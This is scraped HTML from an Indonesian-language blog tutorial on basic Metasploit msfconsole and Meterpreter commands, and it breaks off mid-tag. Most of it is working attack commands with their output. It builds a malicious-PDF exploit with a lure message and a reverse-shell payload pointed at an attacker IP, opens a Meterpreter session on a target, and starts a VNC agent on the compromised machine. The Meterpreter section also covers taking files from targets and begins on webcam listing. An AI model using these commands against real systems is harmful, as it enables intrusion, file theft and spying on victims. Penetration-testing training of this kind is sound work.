border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em; text-align: start;"><span style="color: lime;">msf > banner </span><span style="color: #3d85c6;">MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNl </span><span style="color: lime;"> <b>MMMMM MMMMM</b> </span><span style="color: #3d85c6;">JMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNl</span><span style="color: lime;"> <b>MMMMMMMN NMMMMMMM</b> </span><span style="color: #3d85c6;">JMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNl </span><span style="color: lime;"> <b>MMMMMMMMMNmmmNMMMMMMMMM</b> </span><span style="color: #3d85c6;">JMMMM MMMNI</span><span style="color: lime;"> <b>MMMMMMMMMMMMMMMMMMMMMMM</b> </span><span style="color: #3d85c6;">jMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNI</span><span style="color: lime;"> <b>MMMMMMMMMMMMMMMMMMMMMMM</b> </span><span style="color: #3d85c6;">jMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNI</span><span style="color: lime;"> <b>MMMMM MMMMMMM MMMMM</b> </span><span style="color: #3d85c6;">jMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNI </span><span style="color: lime;"> <b>MMMMM MMMMMMM MMMMM</b> </span><span style="color: #3d85c6;">jMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNI</span><span style="color: lime;"> <b>MMMNM MMMMMMM MMMMM</b> </span><span style="color: #3d85c6;">jMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMNI </span><span style="color: lime;"> <b>WMMMM MMMMMMM MMMM#</b> </span><span style="color: #3d85c6;">JMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMR</span><span style="color: lime;"> <b>?MMNM MMMMM</b> </span><span style="color: #3d85c6;">.dMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMNm</span><span style="color: lime;"> <b>`?MMM MMMM`</b> </span><span style="color: #3d85c6;">dMMMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMMMN </span><span style="color: lime;"> <b>?MM MM?</b> </span><span style="color: #3d85c6;">NMMMMMN</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMMMMMNe</span><span style="color: lime;"> </span><span style="color: #3d85c6;">JMMMMMNMMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMMMMMMMNm,</span><span style="color: lime;"> </span><span style="color: #3d85c6;">eMMMMMNMMNMM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMNNMNMMMMMNx MMMMMMNMMNMMNM</span><span style="color: lime;"> </span><span style="color: #3d85c6;">MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM</span><span style="color: lime;"> <b>http://metasploit.pro</b> Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ </span><span style="color: orange;">metasploit v4.11.4-2015071403</span><span style="color: lime;"> ] + -- --=[ 1467 exploits - 840 auxiliary - 232 post ] + -- --=[ 432 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf ></span> </pre> <div style="text-align: start;"> <div style="text-align: justify;"> <b><span style="font-size: large;">db_status</span></b><br /> Perintah ini digunakan untuk mengecek koneksi database postgresql</div> <div style="text-align: justify;"> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > db_status </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> postgresql connected to msf msf > </span></pre> </div> </div> </div> </div> <div style="text-align: justify;"> <b><span style="font-size: large;">show exploit</span></b><br /> Perintah ini digunakan untuk melihat semua exploit yang ada di metasploit<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em; text-align: start;"><span style="color: lime;">msf > show exploits Exploits ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/local/ibstat_path 2013-09-24 excellent ibstat $PATH Privilege Escalation aix/rpc_cmsd_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow aix/rpc_ttdbserverd_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)</span> </pre> <div> <b><span style="font-size: large;">show payloads</span></b><br /> Perintah ini digunakan untuk melihat semua payload yang ada</div> </div> <div style="text-align: justify;"> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em; text-align: start;"><span style="color: lime;">msf > show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve Shell for inetd aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline</span><span style="font-family: "times new roman";"><span style="white-space: normal;"> </span></span></pre> <div> <b><span style="font-size: large;">show auxiliary</span></b><br /> Perintah ini digunakan untuk menampilkan semua module auxiliary</div> </div> <div style="text-align: justify;"> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > show auxiliary Auxiliary ========= Name Disclosure Date Rank Description ---- --------------- ---- ----------- admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO admin/appletv/appletv_display_image normal Apple TV Image Remote Control admin/appletv/appletv_display_video normal Apple TV Video Remote Control</span> </pre> <div> <b><span style="font-size: large;">search name</span></b><br /> Perintah ini digunakan untuk mencari sebuah exploit atau module yang disebutkan</div> </div> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > search pdf_embedded Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 excellent Adobe PDF Embedded EXE Social Engineering exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 excellent Adobe PDF Escape EXE Social Engineering (No JavaScript) msf > </span> </pre> <div> <b><span style="font-size: large;">use</span></b><br /> Perintah ini digunakan untuk menentukan module exploit yang akan digunakan</div> </div> </div> </div> </div> </div> <div style="text-align: justify;"> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > </span> </pre> <div> <b><span style="font-size: large;">set payload</span></b></div> <div> Perintah ini untuk menentukan payload yang akan digunakan</div> </div> </div> <div style="text-align: justify;"> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > </span> </pre> <div> <div style="text-align: justify;"> <b><span style="font-size: large;">show targets</span></b><br /> Perintah ini digunakan untuk melihat platform target yang dapat diserang dengan exploit yang digunakan</div> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><span style="color: red;"><b>adobe_pdf_embedded_exe</b></span><span style="color: lime;">) > show targets Exploit targets: Id Name -- ---- 0 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English) msf exploit(</span><span style="color: red;"><b>adobe_pdf_embedded_exe</b></span><span style="color: lime;">) > </span></pre> </div> <b><span style="font-size: large;">show options</span></b></div> </div> <div style="text-align: justify;"> Perintah ini digunakan melihat pilihan yang tersedia untuk module atau exploit</div> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe_nojs</span></b><span style="color: lime;">) > show options Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs): Name Current Setting Required Description ---- --------------- -------- ----------- EXENAME msf.exe no The Name of payload exe. FILENAME evil.pdf no The output filename. LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this message again" box and press Open. no The message to display in the File: area Exploit target: Id Name -- ---- 0 Adobe Reader <= v9.3.3 (Windows XP SP3 English) msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe_nojs</span></b><span style="color: lime;">) > </span> </pre> <div> <b><span style="font-size: large;">back</span></b><br /> Perintah ini digunakan untuk kembali dari konteks saat ini</div> </div> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > back msf > </span> </pre> <div> <b><span style="font-size: large;">set LHOST</span></b></div> </div> <div style="text-align: justify;"> <div style="text-align: justify;"> Perintah ini digunakan untuk mengatur IP Attacker, bisa menggunakan IP Lokal atau IP Publik (tergantung kondisi )<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > set LHOST 192.168.1.100 lhost => 192.168.1.100 msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > </span></pre> </div> </div> </div> <b><span style="font-size: large;">set LPORT</span></b><br /> <div style="text-align: justify;"> <div style="text-align: justify;"> Perintah ini digunakan untuk mengatur port lintener<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > set LPORT 443 LPORT => 443 msf exploit(</span><b><span style="color: red;">adobe_pdf_embedded_exe</span></b><span style="color: lime;">) > </span></pre> </div> </div> </div> <b><span style="font-size: large;">set RHOST</span></b><br /> Perintah ini digunakan untuk menentukan IP Target, (biasa digunakan untuk jenis exploit tertentu)<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf auxiliary(</span><b><span style="color: red;">ms12_020_maxchannelids</span></b><span style="color: lime;">) > set RHOST 192.168.1.103 RHOST => 192.168.1.103</span> </pre> <div> <b><span style="font-size: large;">unset</span></b></div> </div> Kebalikan dari <b>set</b> perintah ini digunakan untuk membatalkan atau menghapus parameter yang sebelumnya di atur, kita juga dapat menghapus semua variabel dengan perintah '<b>unset all'</b><br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > unset payload android/meterpreter/reverse_tcp Unsetting payload... Unsetting android/meterpreter/reverse_tcp... msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > unset all Flushing datastore... msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > </span> </pre> <div> <b><span style="font-size: large;">save</span></b><br /> Kita juga dapat menyimpan semua setting yang telah di tetapkan,dan semua akan dimuat ketika startup(saat msfconsole di buka) tanpa mengetur semuanya lagi dari awal.<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > use exploit/multi/handler msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > set lport 443 lport => 443 msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > save Saved configuration to: /root/.msf4/config msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > </span></pre> <b><span style="font-size: large;">exploit</span></b><br /> Perintah ini digunakan mengeksekusi module exploit dan menyerang target<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><span style="color: red;"><b>handler</b></span><span style="color: lime;">) > exploit </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Started reverse handler on 192.168.1.100:443 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting the payload handler...</span> </pre> <div> <b><span style="font-size: large;">exploit -j</span></b></div> <div> Perintah ini digunakan mengeksekusi module exploit dan menyerang target sekaligus bejalan sebagai background<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > exploit -j </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Exploit running as background job. </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Started reverse handler on 192.168.1.100:443 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting the payload handler... msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > </span></pre> </div> </div> <div> <b><span style="font-size: large;">exploit -z</span></b></div> <div> Hampir sama dengan<b> exploit -j</b>,<b> </b>ini tidak berinteraksi dengan sesi meterpreter ketika exploitasi suskses(otomatis bejalan sebagai background jika exploitasi sukses)</div> <div> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><span style="color: red;"><b>handler</b></span><span style="color: lime;">) > exploit -z </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Started reverse handler on 192.168.1.100:443 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting the payload handler... </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Sending stage (885806 bytes) to 192.168.1.103 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Meterpreter session 2 opened (192.168.1.100:443 -> 192.168.1.103:49272) at 2016-03-02 00:26:39 +0700 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Session 1 created in the background. msf exploit(</span><span style="color: red;"><b>handler</b></span><span style="color: lime;">) > </span></pre> </div> </div> </div> <b><span style="font-size: large;">sessions -l</span></b></div> </div> Perintah ini digunakan untuk melihat list sesi meterpreter yang sedang aktif (berjalan sebagai background)<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 2 meterpreter x86/win32 SAMSUNG\SAMSUNG @ SAMSUNG 192.168.1.100:443 -> 192.168.1.103:49207 (192.168.1.103) msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > </span> </pre> <div> <div style="text-align: justify;"> <b><span style="font-size: large;">sessions -i ID</span></b></div> Perintah ini digunakan untuk berinteraksi kembali dengan sesi meterpreter yang sedang berjalan sebagai background<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > sessions -i 2 </span><b><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"> Starting interaction with 2... meterpreter > </span> </pre> <div> <b><span style="font-size: large;">sessions -K</span></b></div> </div> </div> </div> Perintah ini digunakan untuk mematikan semua sesi meterpreter yang sedang aktif<br /> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > sessions -K </span><b style="color: lime;">[*]</b><span style="color: lime;"> Killing all sessions... </span><b style="color: lime;">[*]</b><span style="color: lime;"> 192.168.1.103 - Meterpreter session 2 closed. msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > </span> </pre> <div> <b><span style="font-size: large;">help</span></b><br /> Perintah ini digunakan untuk melihat perintah-perintah dan deskripsi yang dapat digunakan pada msfconsole</div> </div> <div style="text-align: justify;"> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;">msf > help Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host edit Edit the current module with $VISUAL or $EDITOR exit Exit the console get Gets the value of a context-specific variable getg Gets the value of a global variable go_pro Launch Metasploit web GUI grep Grep the output of another command help Help menu</span> </pre> <div> Itulah beberapa contoh <b>Perintah - Perintah dasar dari msfconsole,</b> mohon maaf apabila ada bebrapa perintah yang masih kurang. semoga bermanfaat.</div> </div> sumber <a href="https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/" target="_blank">https://www.offensive-security.com</a></div>

Perintah - Perintah dasar Metasploit (msfconsole)

Setelah sebelumnya saya share tentang Perintah - Perintah dasar Meterpreter  sekarang saya akan bagikan Perintah - Perintah dasar Metasploi...

Baca selengkapnya »

Perintah - Perintah dasar Meterpreter Metasploit

<div style="text-align: justify;"> <div style="text-align: justify;"> Pada postingan kali ini saya akan membagikan beberapa perintah-perintah yang dapat dijalankan ketika kita sudah mendapatkan sesi meterpreter dari target yang kita exploit.<br /> Kebetulan kemarin ada yang bertanya juga apa yang bisa kita lakukan jika sudah mendapat sesi meterpreter, jika kita tau perintah-perintahnya banyak yang bisa dilakukan, seperti menjalankan program yang ada di sistem target, mengirim file atau mengambil file-file yang ada di sistem target. nah di bawah ini akan saya berikan beberapa contoh perintah - perintah dasar meterpreter di metasploit</div> </div> <div style="text-align: justify;"> <b><br /></b> <b><span style="font-size: large;">help</span></b><br /> Perintah ini digunakan untuk melihat semua menu meterpreter</div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="color: lime; font-size: 11.7px; line-height: 19px;">meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script</span></span></pre> <b><span style="font-size: large;">background</span></b><br /> Perintah ini digunakan untuk mengirimkan sesi meterpreter berjalan sebagai background<br /> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span style="color: lime;">meterpreter > background </span><span style="color: #3d85c6;"><b>[*]</b></span><span style="color: lime;"> Backgrounding session 1... msf exploit(</span><b><span style="color: red;">handler</span></b><span style="color: lime;">) > sessions -i 1 </span><span style="color: #3d85c6;"><b>[*]</b></span><span style="color: lime;"> Starting interaction with 1... meterpreter > </span></span></pre> <div> <b><span style="font-size: large;">sysinfo</span></b><br /> Perintah ini digunakan untuk melihat informasi sistem target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > sysinfo Computer : SAMSUNG OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 4 Meterpreter : x86/win32</span></span></pre> </div> <div> <div> <b><span style="font-size: large;">run vnc</span></b></div> Perintah ini digunakan untuk remote sistem target</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;">meterpreter > run vnc </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Creating a VNC reverse tcp stager: LHOST=192.168.1.100 LPORT=4545 </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Running payload handler </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> VNC stager executable 73802 bytes long </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Uploaded the VNC agent to C:\Users\Samsung\AppData\Local\Temp\sccHTQrAIy.exe (must be deleted manually) </span></span><b style="font-size: 11.7px; line-height: 19px;"><span style="color: #3d85c6;">[*]</span></b><span style="color: lime;"><span style="font-size: 11.7px; line-height: 19px;"> Executing the VNC agent with endpoint 192.168.1.100:4545...</span></span> </pre> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhfFArkS_szcD72pMbbFhZ9dRNVb_kigY4v6IhpdGbvh0EzA3Ta1vEQB5E5mwouPkmIzB_ZxIf5Q2aXphmFmNRzy3tQMv5x3_9YNHxD3BJddIagEcIkxxi1rL0QooDycTbBrqd0BnsRo/s1600/run+vnc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run vnc" border="0" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhfFArkS_szcD72pMbbFhZ9dRNVb_kigY4v6IhpdGbvh0EzA3Ta1vEQB5E5mwouPkmIzB_ZxIf5Q2aXphmFmNRzy3tQMv5x3_9YNHxD3BJddIagEcIkxxi1rL0QooDycTbBrqd0BnsRo/s400/run+vnc.png" title="Perintah - Perintah dasar Meterpreter Metasploit" width="400" /></a></div> <br /></div> <b><span style="font-size: large;">webcam_list</span></b><br /> Perintah ini digunakan untuk melihat list webcam yang ada</div> <div> <pre style="background: black; border-color: rgb(225, 225, 225) rgb(240, 240, 240) rgb(240, 240, 240) rgb(225, 225, 225); border-radius: 2px; border-style: solid; border-width: 1px; box-sizing: border-box; clear: both; direction: ltr; font-stretch: normal; list-style: none; margin-bottom: 1em; outline: none; overflow-x: auto; overflow-y: hidden; padding: 1em;"><span style="font-size: 11.7px; line-height: 19px;"><span 